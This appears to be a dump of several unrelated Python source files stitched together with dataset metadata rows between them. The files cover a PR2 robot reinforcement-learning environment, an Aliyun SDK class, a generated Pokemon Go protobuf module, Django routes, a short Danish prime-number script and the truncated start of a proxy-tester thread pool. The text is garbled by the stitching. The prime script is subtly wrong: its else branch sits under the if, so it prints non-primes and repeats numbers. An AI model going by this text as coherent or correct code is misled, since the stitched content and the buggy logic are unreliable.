self._t = 0 # self.obs_dim = 4 self._init_obs = self.reset(real=True).copy() self._low, self._high = -max_torques, max_torques gym.utils.EzPickle.__init__(self) def step(self, action): ob = self.do_simulation(action, self.frame_skip) # time.sleep(1 / 20) # reward_dist = -np.linalg.norm(ob[-3:] - self.goal) # reward_dist = -np.linalg.norm(ob - self.goal[self.idx]) # reward_ctrl = -np.square(ob[7:14]).sum() reward_dist = np.exp(-np.linalg.norm(ob[:5] - self.goal[self.idx][:5])) reward_vel = .5 * np.exp(-np.linalg.norm(ob[7:14])) reward_gripper = 2 * np.exp(-np.linalg.norm(np.concatenate([ob[5:7], ob[-3:]], axis=-1) - self.goal[self.idx][5:])) reward = reward_dist + reward_vel + reward_gripper done = False self._t += 1 return ob, reward, done, dict(reward_dist=reward_dist) # , reward_ctrl=reward_ctrl) def do_simulation(self, action, frame_skip): assert frame_skip > 0 if action.ndim == 2: action = action.reshape(-1) action = np.clip(action, self._low, self._high) # action = np.concatenate([[0] * 5, action]) for _ in range(frame_skip): md = dict( dtype=str(action.dtype), cmd="action", ) self.socket.send_json(md, 0 | zmq.SNDMORE) self.socket.send(action, 0, copy=True, track=False) ob = self._get_obs() return ob def reward(self, obs, act, obs_next): assert obs.ndim == act.ndim == obs_next.ndim if obs.ndim == 2: assert obs.shape == obs_next.shape and act.shape[0] == obs.shape[0] # reward_ctrl = -0.5 * 0.1 * np.sum(np.square(act/(2 * self._high)), axis=1) # reward_ctrl = -0.5 * 0.1 * np.sum(np.square(obs[:, 7:14]), axis=1) # reward_dist = -np.linalg.norm(obs_next[:,-3:] - self.goal, axis=1) reward_dist = np.exp(-np.linalg.norm(obs_next[:, :5] - self.goal[self.idx][:5], axis=1)) reward_vel = .5 * np.exp(-np.linalg.norm(obs_next[:, 7:14], axis=1)) reward_gripper = 2 * np.exp(-np.linalg.norm(np.concatenate([obs_next[:, 5:7], obs_next[:, -3:]], axis=-1) - self.goal[self.idx][5:], axis=1)) reward = reward_dist + reward_vel + reward_gripper return np.clip(reward, -100, 100) elif obs.ndim == 1: assert obs.shape == obs_next.shape # reward_ctrl = -0.5 * 0.1 * np.sum(np.square(act/(2 * self._high))) # reward_ctrl = -0.5 * 0.1 * np.sum(np.square(obs[7:14])) # reward_dist = -np.linalg.norm(obs_next[-3:] - self.goal) reward_dist = np.exp(-np.linalg.norm(obs_next[:5] - self.goal[self.idx][:5])) reward_vel = .5 * np.exp(-np.linalg.norm(obs_next[7:14])) reward_gripper = 2 * np.exp(-np.linalg.norm(np.concatenate([obs_next[5:7], obs_next[-3:]], axis=-1) - self.goal[self.idx][5:])) reward = reward_dist + reward_vel + reward_gripper return np.clip(reward, -100, 100) else: raise NotImplementedError def reset(self, real=False): self._t = 0 if real: print('real') qpos = self.init_qpos + np.random.uniform(-0.01, 0.01, size=len(self.init_qpos)) md = dict( dtype=str(qpos.dtype), cmd="reset", ) self.socket.send_json(md, 0 | zmq.SNDMORE) self.socket.send(qpos, 0, copy=True, track=False) return self._get_obs() else: return self._init_obs + np.random.uniform(-0.01, 0.01, size=len(self._init_obs)) def _get_obs(self): msg = self.socket.recv(flags=0, copy=True, track=False) buf = memoryview(msg) obs = np.frombuffer(buf, dtype=np.float64) # return np.concatenate([obs.reshape(-1)[:2], obs.reshape(-1)[7:9]]) return obs[:-6] def log_diagnostics(self, paths, prefix=''): dist = [-path["env_infos"]['reward_dist'] for path in paths] final_dist = [-path["env_infos"]['reward_dist'][-1] for path in paths] # ctrl_cost = [-path["env_infos"]['reward_ctrl'] for path in paths] logger.logkv(prefix + 'AvgDistance', np.mean(dist)) logger.logkv(prefix + 'AvgFinalDistance', np.mean(final_dist)) # logger.logkv(prefix + 'AvgCtrlCost', np.mean(ctrl_cost)) @property def action_space(self): return spaces.Box(low=self._low, high=self._high, dtype=np.float32) @property def observation_space(self): low = np.ones(self.obs_dim) * -1e6 high = np.ones(self.obs_dim) * 1e6 return spaces.Box(low=low, high=high, dtype=np.float32) @property def idx(self): return 0 # if self._t < 10: # return 0 # else: # return 1 if __name__ == "__main__": env = PR2Env() # print("reset!") # obs = env.reset() # obs = np.expand_dims(, axis=0) print(env._init_obs) # print("reset done!") # for _ in range(100): # print("action!") # a = env.action_space.sample() * 0 # env.step(a) # env.reward(obs, np.expand_dims(a, axis=0), obs) # print("action done!") # Init: # # [ 5.42730494e-01 1.52270862e-02 9.43007182e-01 -8.68156264e-01 # -5.32638623e+00 -1.53867780e+00 8.99776899e-01 2.31858976e-11 # -6.93889390e-17 0.00000000e+00 8.80117496e-03 0.00000000e+00 # 0.00000000e+00 0.00000000e+00 -1.48569878e-01 2.43122203e-01 # 1.87660681e-01 -5.87167355e-02 2.69877152e-01 2.89092061e-01 # -1.58908432e-01 2.16395001e-01 3.14027421e-01] # # End: # [ 1.42125719e-01 -1.45503268e-01 9.30820215e-01 -1.06374839e+00 # -4.73241234e+00 -1.44477962e-01 1.58286694e+00 0.00000000e+00 # -7.12379766e-09 0.00000000e+00 0.00000000e+00 0.00000000e+00 # 0.00000000e+00 0.00000000e+00 -7.29517469e-02 -2.86581420e-02 # 5.70482330e-01 -8.47117285e-02 -1.18948075e-02 5.98804157e-01 # -5.13613156e-02 -8.77137857e-02 5.85055245e-01] # Init from plate position # [ 0.7783511 -0.25606883 1.12741523 -0.87482262 -7.52093116 -0.09122304 # 3.15171159 0. 0. 0. 0. 0. # 0. 0. -0.03861735 0.5429763 0.55299989 -0.02305524 # 0.59228718 0.64473468 -0.01265096 0.46321 0.64747213] #PLATE position: # 0.1644276 -0.31147851 1.52381236 -0.90102611 -4.98011356 -1.66494068 # -1.01992367 0. 0. 0. 0. 0. # 0. 0. -0.22708802 0.07970474 0.15733524 -0.05736825 # 0.17155499 0.17208294 -0.10596121 0.02212625 0.24058344] """ Lego: 1. [ 0.74187219 -0.16986661 0.96786218 -0.76494165 -4.5891251 -1.94265812 3.26905514 0. 0. 0. 0. 0. 0. 0. -0.16659146 0.49554746 0.21704888 -0.19025537 0.58158067 0.20974212 -0.14368087 0.57942362 0.26686146] 2. [ 3.28085262e-01 -3.16469607e-01 1.18802936e+00 -9.21583556e-01 -4.85452754e+00 -1.87099893e+00 2.64370143e+00 0.00000000e+00 -1.11022302e-15 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 -1.45424603e-01 1.37123813e-01 2.56431151e-01 -1.69998881e-01 2.24088020e-01 2.55860864e-01 -1.23184919e-01 2.21378144e-01 3.08828806e-01] 3. [0.12629056, -0.33922564, 1.25569909, -0.83081232, -4.90531728, -1.8157426, 2.34105339, 0., 0., 0., 0., 0., 0., 0., -0.14435956, 0.01431401, 0.25546218, -0.17143094, 0.08309022, 0.26141724, -0.13745477, 0.09015565, 0.30613478] 4. [-0.06936906,-0.29151411, 1.52926443, -0.57891128, -4.95552855, -1.87387052, 2.36106749, 0., 0., 0., 0., 0., 0., 0., -0.13345914, -0.02537312, 0.16194666, -0.1599033, 0.03485722, 0.18399872, -0.13409751, 0.04803587, 0.23454963] 5. [-1.43238858e-01, -2.00743753e-01, 1.39055750e+00, -3.84339446e-01, -4.77573980e+00, -1.93996057e+00, 2.49555356e+00, 0.00000000e+00, -1.83213444e-10, 0.00000000e+00, 0.00000000e+00, 0.00000000e+00, 0.00000000e+00, 0.00000000e+00, -1.22261587e-01, -2.89328340e-02, 1.21728281e-01, -1.47726911e-01, 3.27933283e-02, 1.51349782e-01, -1.21627484e-01, 4.52869719e-02, 1.98203254e-01] """ """ [ 0.03492746 -0.44285442 1.51306859 -0.80359543 -5.16447223 -1.86651751 2.31072767 0. 0. 0. 0. 0. 0. 0. -0.19274069 -0.03007735 0.2464475 -0.21953061 0.0431868 0.26590113 -0.18416306 0.04940512 0.31146071] [ 0.06096014 -0.22290762 1.43930537 -0.87134812 -5.04669556 -1.87256525 2.30224343 0. 0. 0. 0. 0. 0. 0. -0.1915515 -0.01845283 0.12999443 -0.21631334 0.056541 0.16264397 -0.18166899 0.06205027 0.20291775] """ """ Init: [ 6.08807068e-01, -3.93620177e-01, 1.25922689e+00, -9.09422816e-01, -4.91272171e+00, -1.93638719e+00, 2.68064616e+00, 0.00000000e+00, 0.00000000e+00, -1.01669442e-05, 0.00000000e+00, 0.00000000e+00, -2.86612146e-02, -2.86612146e-02, -1.68403580e-01, 3.50214633e-01, 2.73749418e-01, -1.95250427e-01, 4.13470716e-01, 2.77695352e-01, -1.65989693e-01, 4.25103612e-01, 3.34286505e-01] Goal: [ 4.08587588e-01 -1.46010837e-01 1.28889254e+00 -8.87996750e-01 -4.80784494e+00 -2.00043797e+00 2.48319703e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 8.88178420e-15 -1.51403786e-01 2.53451761e-01 1.17586076e-01 -1.76419679e-01 3.10666054e-01 1.47617230e-01 -1.53969955e-01 3.25107895e-01 1.94429943e-01] """ """ Init (2): ([7.10011717e-01, -3.56398411e-01, 9.63204825e-01, -9.12897313e-01, -4.66548326e+00, -2.05669173e+00, -2.77487280e-01 Goal (2) : [ 5.96785857e-01, -2.85932172e-01, 1.59162625e+00, -1.10704422e+00, -5.06300837e+00, -1.71918953e+00, -6.13503858e-01, -1.58354262e-03, 8.21743149e-03, -9.93711846e-02, -8.94682723e-03, 1.73478727e-02, -2.01818272e-02, -1.85441385e-02, -2.79299305e-01, 3.57783994e-01, 1.16489066e-01, -1.07182981e-01, 4.33240193e-01, 1.20192246e-01, -1.68514010e-01, 2.89484657e-01, 1.87359024e-01] """ """ obs for init_qpos=np.array([0,0,0,0,0,0,0]) [ 0.09859975 0.09922984 0.80846948 -0.15038998 0.10019115 -0.09034941 0.10817561 0. 0. 0. 0. 0. 0. 0. 0.1448004 0.26479295 0.17570619] [ 0.48759759 -0.31427014 1.13511226 -0.5531421 -4.65912008 -1.99247238 0.99332108 0. 0. 0. 0. 0. 0. 0. -0.16828345 0.40697539 0.26332118] obs for init_qpos=np.array([0.1,0.1,0.1,0.1,0.1,0.1,0.1]) [-8.76432427e-03 -9.05165677e-03 8.67159349e-01 -1.51692912e-01 -7.23088587e-03 -8.43016724e-02 -4.66166996e-04 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 1.39332611e-01 1.52058032e-01 2.73096161e-01] obs for init_qpos=np.array([0.5, -0.5, 1, -0.5, -5, 0, 1]) [ 7.05061651e-01 -2.03366195e-01 1.12436849e+00 -8.07938547e-01 -7.50843619e+00 -9.20897691e-02 3.00325915e+00 0.00000000e+00 0.00000000e+00 2.61271893e-09 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 -4.40685751e-02 4.99549120e-01 5.37356806e-01] obs for init_qpos=np.array([0.7, -0.2, 1.1, -0.8, -7.5, 0, 3]) [ 0.46595897 -0.32120692 1.06359401 -0.51101382 -4.52624532 -1.9935601 0.99031896 0. 0. 0. 0. 0. 0. 0. -0.16006932 0.41632504 0.27408067] """
42.530864
139
0.583672
2,119
13,780
3.730061
0.224162
0.021255
0.026948
0.029858
0.406756
0.385628
0.34666
0.335906
0.316928
0.307819
0
0.414554
0.250073
13,780
324
140
42.530864
0.3503
0.249492
0
0.149533
0
0
0.025927
0
0
0
0
0
0.037383
1
0.093458
false
0
0.065421
0.018692
0.271028
0.028037
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
9440f1bb5cffe6b4b282ca7459529748e215b384
281
py
Python
aliyun/log/es_migration/migration_response.py
topdown618/aliyun-log-python-sdk
395949a5c307722e8223d926b366c50dacd32126
[ "MIT" ]
130
2017-03-31T07:41:46.000Z
2022-03-27T14:31:22.000Z
aliyun/log/es_migration/migration_response.py
topdown618/aliyun-log-python-sdk
395949a5c307722e8223d926b366c50dacd32126
[ "MIT" ]
170
2017-02-17T06:07:31.000Z
2022-03-17T02:32:42.000Z
aliyun/log/es_migration/migration_response.py
topdown618/aliyun-log-python-sdk
395949a5c307722e8223d926b366c50dacd32126
[ "MIT" ]
111
2017-01-16T07:35:01.000Z
2022-03-18T03:31:32.000Z
#!/usr/bin/env python # encoding: utf-8 # Copyright (C) Alibaba Cloud Computing # All rights reserved. from ..logresponse import LogResponse class MigrationResponse(LogResponse): def __init__(self, headers=None, resp=""): LogResponse.__init__(self, headers, resp)
20.071429
49
0.725979
33
281
5.939394
0.787879
0.081633
0.153061
0
0
0
0
0
0
0
0
0.004237
0.160142
281
13
50
21.615385
0.826271
0.338078
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
9447b905356f572316268913cb1e6fec41422569
204
py
Python
Juego Basico con los modulos del Profesor/venv/Lib/site-packages/pgzero/__init__.py
JoshYts/ExterminadorJugeo
c8bd4e750ed4c66e08df8157bbd396c9ea6034ea
[ "MIT" ]
1
2020-10-16T16:37:53.000Z
2020-10-16T16:37:53.000Z
Lib/site-packages/pgzero/__init__.py
mathstronauts/Python37
50f026bbd07483d6f4fcfc8dbc7c6bcbaf9b73c0
[ "bzip2-1.0.6" ]
null
null
null
Lib/site-packages/pgzero/__init__.py
mathstronauts/Python37
50f026bbd07483d6f4fcfc8dbc7c6bcbaf9b73c0
[ "bzip2-1.0.6" ]
2
2020-10-21T15:34:59.000Z
2020-11-19T15:23:55.000Z
"""Pygame Zero, a zero-boilerplate game framework for education. You shouldn't need to import things from the 'pgzero' package directly; just use 'pgzrun' to run the game file. """ __version__ = '1.2'
22.666667
76
0.735294
32
204
4.5625
0.875
0
0
0
0
0
0
0
0
0
0
0.011765
0.166667
204
8
77
25.5
0.847059
0.852941
0
0
0
0
0.136364
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
946ea649fc541b044823443c474e4e6c2bc5102b
11,429
py
Python
pgoapi/protos/POGOProtos/Data/Player/PlayerStats_pb2.py
PogoHop/pgoapi-hsvr
b5761159e0240bbb81ef6c257fe2eb1bc1ce2d47
[ "MIT" ]
null
null
null
pgoapi/protos/POGOProtos/Data/Player/PlayerStats_pb2.py
PogoHop/pgoapi-hsvr
b5761159e0240bbb81ef6c257fe2eb1bc1ce2d47
[ "MIT" ]
null
null
null
pgoapi/protos/POGOProtos/Data/Player/PlayerStats_pb2.py
PogoHop/pgoapi-hsvr
b5761159e0240bbb81ef6c257fe2eb1bc1ce2d47
[ "MIT" ]
null
null
null
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: POGOProtos/Data/Player/PlayerStats.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database from google.protobuf import descriptor_pb2 # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor.FileDescriptor( name='POGOProtos/Data/Player/PlayerStats.proto', package='POGOProtos.Data.Player', syntax='proto3', serialized_pb=_b('\n(POGOProtos/Data/Player/PlayerStats.proto\x12\x16POGOProtos.Data.Player\"\xed\x04\n\x0bPlayerStats\x12\r\n\x05level\x18\x01 \x01(\x05\x12\x12\n\nexperience\x18\x02 \x01(\x03\x12\x15\n\rprev_level_xp\x18\x03 \x01(\x03\x12\x15\n\rnext_level_xp\x18\x04 \x01(\x03\x12\x11\n\tkm_walked\x18\x05 \x01(\x02\x12\x1c\n\x14pokemons_encountered\x18\x06 \x01(\x05\x12\x1e\n\x16unique_pokedex_entries\x18\x07 \x01(\x05\x12\x19\n\x11pokemons_captured\x18\x08 \x01(\x05\x12\x12\n\nevolutions\x18\t \x01(\x05\x12\x18\n\x10poke_stop_visits\x18\n \x01(\x05\x12\x18\n\x10pokeballs_thrown\x18\x0b \x01(\x05\x12\x14\n\x0c\x65ggs_hatched\x18\x0c \x01(\x05\x12\x1b\n\x13\x62ig_magikarp_caught\x18\r \x01(\x05\x12\x19\n\x11\x62\x61ttle_attack_won\x18\x0e \x01(\x05\x12\x1b\n\x13\x62\x61ttle_attack_total\x18\x0f \x01(\x05\x12\x1b\n\x13\x62\x61ttle_defended_won\x18\x10 \x01(\x05\x12\x1b\n\x13\x62\x61ttle_training_won\x18\x11 \x01(\x05\x12\x1d\n\x15\x62\x61ttle_training_total\x18\x12 \x01(\x05\x12\x1d\n\x15prestige_raised_total\x18\x13 \x01(\x05\x12\x1e\n\x16prestige_dropped_total\x18\x14 \x01(\x05\x12\x18\n\x10pokemon_deployed\x18\x15 \x01(\x05\x12\x1e\n\x16pokemon_caught_by_type\x18\x16 \x03(\x05\x12\x1c\n\x14small_rattata_caught\x18\x17 \x01(\x05\x62\x06proto3') ) _sym_db.RegisterFileDescriptor(DESCRIPTOR) _PLAYERSTATS = _descriptor.Descriptor( name='PlayerStats', full_name='POGOProtos.Data.Player.PlayerStats', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='level', full_name='POGOProtos.Data.Player.PlayerStats.level', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='experience', full_name='POGOProtos.Data.Player.PlayerStats.experience', index=1, number=2, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='prev_level_xp', full_name='POGOProtos.Data.Player.PlayerStats.prev_level_xp', index=2, number=3, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='next_level_xp', full_name='POGOProtos.Data.Player.PlayerStats.next_level_xp', index=3, number=4, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='km_walked', full_name='POGOProtos.Data.Player.PlayerStats.km_walked', index=4, number=5, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='pokemons_encountered', full_name='POGOProtos.Data.Player.PlayerStats.pokemons_encountered', index=5, number=6, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='unique_pokedex_entries', full_name='POGOProtos.Data.Player.PlayerStats.unique_pokedex_entries', index=6, number=7, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='pokemons_captured', full_name='POGOProtos.Data.Player.PlayerStats.pokemons_captured', index=7, number=8, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='evolutions', full_name='POGOProtos.Data.Player.PlayerStats.evolutions', index=8, number=9, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='poke_stop_visits', full_name='POGOProtos.Data.Player.PlayerStats.poke_stop_visits', index=9, number=10, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='pokeballs_thrown', full_name='POGOProtos.Data.Player.PlayerStats.pokeballs_thrown', index=10, number=11, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='eggs_hatched', full_name='POGOProtos.Data.Player.PlayerStats.eggs_hatched', index=11, number=12, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='big_magikarp_caught', full_name='POGOProtos.Data.Player.PlayerStats.big_magikarp_caught', index=12, number=13, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='battle_attack_won', full_name='POGOProtos.Data.Player.PlayerStats.battle_attack_won', index=13, number=14, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='battle_attack_total', full_name='POGOProtos.Data.Player.PlayerStats.battle_attack_total', index=14, number=15, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='battle_defended_won', full_name='POGOProtos.Data.Player.PlayerStats.battle_defended_won', index=15, number=16, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='battle_training_won', full_name='POGOProtos.Data.Player.PlayerStats.battle_training_won', index=16, number=17, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='battle_training_total', full_name='POGOProtos.Data.Player.PlayerStats.battle_training_total', index=17, number=18, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='prestige_raised_total', full_name='POGOProtos.Data.Player.PlayerStats.prestige_raised_total', index=18, number=19, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='prestige_dropped_total', full_name='POGOProtos.Data.Player.PlayerStats.prestige_dropped_total', index=19, number=20, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='pokemon_deployed', full_name='POGOProtos.Data.Player.PlayerStats.pokemon_deployed', index=20, number=21, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='pokemon_caught_by_type', full_name='POGOProtos.Data.Player.PlayerStats.pokemon_caught_by_type', index=21, number=22, type=5, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='small_rattata_caught', full_name='POGOProtos.Data.Player.PlayerStats.small_rattata_caught', index=22, number=23, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=69, serialized_end=690, ) DESCRIPTOR.message_types_by_name['PlayerStats'] = _PLAYERSTATS PlayerStats = _reflection.GeneratedProtocolMessageType('PlayerStats', (_message.Message,), dict( DESCRIPTOR = _PLAYERSTATS, __module__ = 'POGOProtos.Data.Player.PlayerStats_pb2' # @@protoc_insertion_point(class_scope:POGOProtos.Data.Player.PlayerStats) )) _sym_db.RegisterMessage(PlayerStats) # @@protoc_insertion_point(module_scope)
51.022321
1,269
0.73156
1,555
11,429
5.114469
0.12926
0.070414
0.075443
0.113039
0.697095
0.651578
0.599145
0.564441
0.49101
0.49101
0
0.051462
0.149882
11,429
223
1,270
51.251121
0.767085
0.021962
0
0.583333
1
0.004902
0.273267
0.241849
0
0
0
0
0
1
0
false
0
0.029412
0
0.029412
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
9471fbe912e4955ddacd8e52d85070255ce0ee23
53
py
Python
pytest_splinter/__init__.py
a7p/pytest-splinter
e6af25ad20450b9684387a4ca799bd265310a7bf
[ "MIT" ]
null
null
null
pytest_splinter/__init__.py
a7p/pytest-splinter
e6af25ad20450b9684387a4ca799bd265310a7bf
[ "MIT" ]
null
null
null
pytest_splinter/__init__.py
a7p/pytest-splinter
e6af25ad20450b9684387a4ca799bd265310a7bf
[ "MIT" ]
1
2022-01-21T14:04:49.000Z
2022-01-21T14:04:49.000Z
"""pytest-splinter package.""" __version__ = '2.0.1'
17.666667
30
0.660377
7
53
4.428571
1
0
0
0
0
0
0
0
0
0
0
0.0625
0.09434
53
2
31
26.5
0.583333
0.45283
0
0
0
0
0.217391
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
947e2ee9893b5f6f6baf5e8a767c52eabecdaf90
178
py
Python
printtal_fra_1_til_100.py
CurryEleison/lists
546ab45ffd9f1e793315003b59160e597c598f41
[ "MIT" ]
null
null
null
printtal_fra_1_til_100.py
CurryEleison/lists
546ab45ffd9f1e793315003b59160e597c598f41
[ "MIT" ]
null
null
null
printtal_fra_1_til_100.py
CurryEleison/lists
546ab45ffd9f1e793315003b59160e597c598f41
[ "MIT" ]
null
null
null
#4: Skriv alle primtal mellem 1 og 100 for primtal in range(2, 101): for i in range(2, primtal): if (primtal % i) == 0: break else: print(primtal)
22.25
38
0.567416
28
178
3.607143
0.678571
0.138614
0.158416
0
0
0
0
0
0
0
0
0.091667
0.325843
178
7
39
25.428571
0.75
0.207865
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
8488c73ab685c47e2d71a76c996c8a34879c550e
368
py
Python
aocpo_backend/aocpo/urls.py
CoderChen01/aocpo
279bfae910a30be762e1954df1a53a6217a6e300
[ "Apache-2.0" ]
7
2020-02-17T12:20:26.000Z
2021-03-15T01:02:34.000Z
aocpo_backend/aocpo/urls.py
CoderChen01/aocpo
279bfae910a30be762e1954df1a53a6217a6e300
[ "Apache-2.0" ]
3
2020-04-19T03:01:41.000Z
2020-04-19T03:02:09.000Z
aocpo_backend/aocpo/urls.py
CoderChen01/aocpo
279bfae910a30be762e1954df1a53a6217a6e300
[ "Apache-2.0" ]
null
null
null
from django.contrib import admin from django.urls import path, include, re_path from django.views.generic.base import TemplateView urlpatterns = [ path('admin/', admin.site.urls), path('api/v1/', include('aocpo_api.urls')), path('', TemplateView.as_view(template_name='index.html')), re_path(r'.*', TemplateView.as_view(template_name='index.html')) ]
33.454545
68
0.722826
51
368
5.078431
0.490196
0.11583
0.138996
0.200772
0.301158
0.301158
0.301158
0
0
0
0
0.003077
0.116848
368
10
69
36.8
0.793846
0
0
0
0
0
0.133152
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
848ce3208cc83db2a7601cfd9c4ed2a675c9a23a
20,209
py
Python
additional_materials/proxy_tester_conc.py
vimarsh6739/HTTP-Proxy-Server
f3ada2db00719c11025ad55472fc47ec944cb9d4
[ "MIT" ]
null
null
null
additional_materials/proxy_tester_conc.py
vimarsh6739/HTTP-Proxy-Server
f3ada2db00719c11025ad55472fc47ec944cb9d4
[ "MIT" ]
null
null
null
additional_materials/proxy_tester_conc.py
vimarsh6739/HTTP-Proxy-Server
f3ada2db00719c11025ad55472fc47ec944cb9d4
[ "MIT" ]
null
null
null
#!/usr/bin/env python #$Rev: 1300 $ #$LastChangedDate: 2007-02-28 13:46:16 -0800 (Wed, 28 Feb 2007) $ import os import subprocess import random import sys import signal import socket import telnetlib import time import threading import urlparse from time import sleep # Ensure booleans exist (not needed for Python 2.2.1 or higher) try: True except NameError: False = 0 True = not False class ThreadPool: """Flexible thread pool class. Creates a pool of threads, then accepts tasks that will be dispatched to the next available thread.""" def __init__(self, numThreads): """Initialize the thread pool with numThreads workers.""" self.__threads = [] self.__resizeLock = threading.Condition(threading.Lock()) self.__taskLock = threading.Condition(threading.Lock()) self.__tasks = [] self.__processed = 0; self.__isJoining = False self.setThreadCount(numThreads) def setThreadCount(self, newNumThreads): """ External method to set the current pool size. Acquires the resizing lock, then calls the internal version to do real work.""" # Can't change the thread count if we're shutting down the pool! if self.__isJoining: return False; self.__resizeLock.acquire() try: self.__setThreadCountNolock(newNumThreads) finally: self.__resizeLock.release() return True; def __setThreadCountNolock(self, newNumThreads): """Set the current pool size, spawning or terminating threads if necessary. Internal use only; assumes the resizing lock is held.""" # If we need to grow the pool, do so while newNumThreads > len(self.__threads): newThread = ThreadPoolThread(self) self.__threads.append(newThread) newThread.start() # If we need to shrink the pool, do so while newNumThreads < len(self.__threads): self.__threads[0].goAway() del self.__threads[0] def getThreadCount(self): """Return the number of threads in the pool.""" 